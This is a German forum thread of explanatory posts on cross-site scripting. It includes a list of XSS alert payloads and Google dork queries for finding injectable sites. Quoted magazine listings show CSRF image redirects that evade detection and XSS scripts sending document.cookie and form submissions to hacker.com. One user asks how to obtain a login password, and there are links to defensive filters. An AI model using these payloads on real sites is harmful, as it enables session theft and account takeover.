XSS / Cross Site Scripting Anleitung + Infos

10.02.2006, 14:15
Member
Avatar Laserpointa

Beiträge: 2176
#1 Cross-Site Scripting (XSS) bezeichnet das Ausnutzen einer Computersicherheitslücke, indem Informationen aus einem Kontext, in dem sie nicht vertrauenswürdig sind, in einen anderen Kontext eingefügt werden, in dem sie als vertrauenswürdig eingestuft sind. Aus diesem vertrauenswürdigen Kontext kann dann ein Angriff gestartet werden.

ein gutes Beispiel + Erklärung gibt es hier:
http://www.heise.de/security/artikel/print/38658

beim XSS verhält es sich wie bei der SQL-Injection indem Variablen in Urls die nicht gut genug überprüft werden, zweckentfremdet werden und dazu genutzt werden andere Informationen in die Website einzuspeisen z.B. Javascript.
Mit Javascript könnte man nun z.B. den Cookie (wo oft Login+Passwort Daten drinstehen) auslesen und an eine andere Website übermitteln und dort speichern / klauen!

Beispiel:
h**p://www.vertrauenswürdige.seite/cgi-bin/test.cgi?<script>alert("Überraschung")</script>

Zitat

%22 Alert
>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>

%2B Alert
%22%2Balert(%27XSS%27)%2B%22

no angle brackets alert
&{alert('XSS')};

object alert
<object type=text/html data='javascript:alert(([code]);'></object>

alert
<script>alert('hello');</script>

image Alert
>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63; ->
%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>

> Alert
>"'><script>alert(‘XSS')</script>

onload alert
<body onload='javascript:alert(([code])'></body>

table alert
<table background='javascript:alert(([code])'></table>

backround alert
AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22
ein Tool/Firefox Erweiterung womit man das auf Websites gut testen kann ist:

Zitat

Tamperdata is an extension to track and modify http/https requests.
What I use it for

* security testing of Web based applications
* tracking request/responses
* It's just cool.


http://tamperdata.mozdev.org/
sehr gut auch zum Thema:
Paper: HTML Code Injection and Cross-site scripting
http://www.technicalinfo.net/papers/CSS.html

sonstige Beispiele und weiterführende Infos:
XSS (Cross Site Scripting) Cheat Sheet
http://ha.ckers.org/xss.html

Greetz Lp

Quelle des PDF Files: http://www.hakin9.org/

Dieser Beitrag wurde am 27.02.2007 um 11:03 Uhr von Laserpointa editiert.
Seitenanfang Seitenende
25.05.2006, 20:34
Member

Beiträge: 18
#2

Zitat

Query Google to find URI HTML Injection opportunities.

Pretty simple base query…

inurl:”3C*3E” -intext:”3C*3E”

just add stuff like -intext:”Page Not Found” or site:.edu to the query to make it match your needs.

It also helps if you start adding things in the query like html tags in the url. So, for example….

inurl:”3C*3E” inurl:”font*font” -intext:3C -intext:font

or

inurl:”3C*3E” inurl:”strong*strong” -intext:3C -intext:strong

It is not perfect, but it can give you an idea of sites that Google is used to indexing pages with this kind of garbage in the URL.
aus einem englischsprachigen Blog zitiert, interessant wieviele angreifbare Sites sich schon über Google finden lassen. Google ist echt eine Waffe und ein gefundenes Fressen für Hacker

Lupine
Seitenanfang Seitenende
27.02.2007, 11:01
Member
Themenstarter
Avatar Laserpointa

Beiträge: 2176
#3 Die Gefahren von XSS und CSRF

Code

Listing 1. Uploaden eines harmlosen Bilds auf einen Server, von dem wir wissen, dass er die Uploads überprüft und die Anfragen anderer abweist
if ($_SERVER['REMOTE_ADDR'] == '1.2.3.4') {
   header("Content-Type: image/jpeg");
   readfile("./me.jpg");
}
else {
   header("Location: http://foobar.com/admin/delete_msg.php?=1");
}

Listing 2. Der Angriffscode stellt anhand des HTTP_REFERER-Felds fest, ob er den Angriff ausführen soll
if (empty($_SERVER['HTTP_REFERER'])) {
   header("Content-Type: image/jpeg");
   readfile("./me.jpg");
} else {

   header("Location: http://foobar.com/admin/delete_msg.php?=1");
}

Listing 3. Zufallsbasierung der Angriffe als Gegenmittel gegen Detektion
$deployment_time = filemtime(__FILE__);

if ($deployment_time < (time() + 86400 * 2) || isset($_COOKIE['h']) || !(rand() % 3)) {
   header("Content-Type: image/jpeg");
   readfile("./me.jpg");
}

setcookie("h", "1", "hacker.com", time() + 86400 * 365, "/");
header("Location: <http://foobar.com/admin/delete_msg.php?=1>");

Listing 4. Downloaden des Bilds auf den Lokalen Rechner, Validierung, Speicherung und Bearbeitung des Bildlinks, um einen Angriff zu verhindern
$img = "http://hacker.com/me.jpg";

file_put_contents($img_store_dir.md5($img), file_get_contents($img));
$i = getimagesize($img_store_dir.md5($img));

if (!$i && $i[0] < $max_width && $i[1] < $max_height) {
   unlink($img_store_dir.md5($img));
}

rename($img_store_dir.md5($img),

$img_store_dir.md5($img).image_type_to_extension($i[2]));

Listing 5. Einstellung eines Lese-/Schreibtimeoutwerts mit der stream_set_timeout()-Funktion
$fp = fopen($img_url, "r");

stream_set_timeout($fp, 1);
file_put_contents($destination_path, stream_get_contents($fp));

fclose($fp);

Listing 6. Ein Beispiel gefährlicher CSS-Regeln
$text = '<b style="background: url(\'http://hacker.com/me/.jpg\')">TEST</b>';

// gibt den eigentlichen Text aus
echo strip_tags($text, "<b><i>");

Listing 7. Ein XSS-Angriff mittels eines Suchbegriffs
// PHP-Code
<input type="text" name="s" value="<?php echo $_POST[‘q’]; ?>" />

// die kompromittierte Ausgabe
<input type="text" name="s" value=""> XSS KETTE <"" />

Listing 8. Beispiel einer XSS-Zeichenkette (STRING)
<script>

var r = new XMLHttpRequest();

r.open('get', 'http://hacker.com/?'+document.cookie);  
r.send(null);

</script>


Listing 9. XSS-Angriff auf Formulare
<script>

for (i=0; i<document.forms.length; i++)
   document.forms[i].action='http://hacker.com/x.php?'+
      document.forms[i].action;

</script>
+ ein sehr interessanter Artikel zu dem Thema!

Greetz Lp

Quelle des PDF Files: http://www.hakin9.org/

Seitenanfang Seitenende
28.02.2007, 01:33
...neu hier

Beiträge: 1
#4 mmmm ich komme nicht weiter.kann mir jemand sagen wie ich das password heraus bekomme


<td align=right>
<font class=lr_font_13>Ïîòðåáèòåëñêî èìå:</font>&nbsp;
<input class=lr_input type=text name=email style="width:145px;" value=''
onfocus="lr_e_bg1(this);" onblur="lr_e_bg0(this);" />
</td>

</tr>
<tr>
<td align=right>
<font class=lr_font_13>Ïàðîëà:</font>&nbsp;
<input class=lr_input type=password name=password style="width:145px;"
onfocus="lr_e_bg1(this);" onblur="lr_e_bg0(this);" />
</td>
</tr>
<tr>

<td id="rem_me" colspan=2 align=right>
<input type=checkbox name=remember>
&nbsp;<font class=lr_font_13>Àâòîìàòè÷åí âõîä</font>
</td>
</tr>
Seitenanfang Seitenende
19.06.2007, 23:31
Member
Themenstarter
Avatar Laserpointa

Beiträge: 2176
#5 anschauliches Video über den Einsatz von XSS:
http://milw0rm.org/video/watch.php?id=71

PHP Lösung gegen XSS Lücken findet sich z.B. hier:
http://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php

IBM hat hier ebenfalls eine Anleitung für Kunden was man gegen XSS tun kann. (leider ist diese Seite auch anfällig ;)

und wenn man so will auch Paypal
^ was man damit alles böses machen kann von Phising Weiterleitung bis Account Daten klauen ... darüber mag ich garnicht nachdenken noch hier was drüber schreiben :p

und sogar Google hat Lücken - Wahnsinn!!!!
http://www.xssed.com/news/39/XSS_vulnerability_in_iGoogleGmodules_when_calling_external_widgets/

Greetz Lp

Seitenanfang Seitenende
19.11.2007, 23:10
...neu hier

Beiträge: 1
#6 hallochen,

habe mal eine Frage zu dem Script hier:
anti-xss-script.txt

wie verwende ich dieses? hab nirgends etwas über die Einsatzweise gefunden.

lg anna
Seitenanfang Seitenende
24.06.2008, 19:18
Member

Beiträge: 38
#7 noch ein interessantes Add-On für XSS Firefox

https://addons.mozilla.org/de/firefox/addon/7598
Seitenanfang Seitenende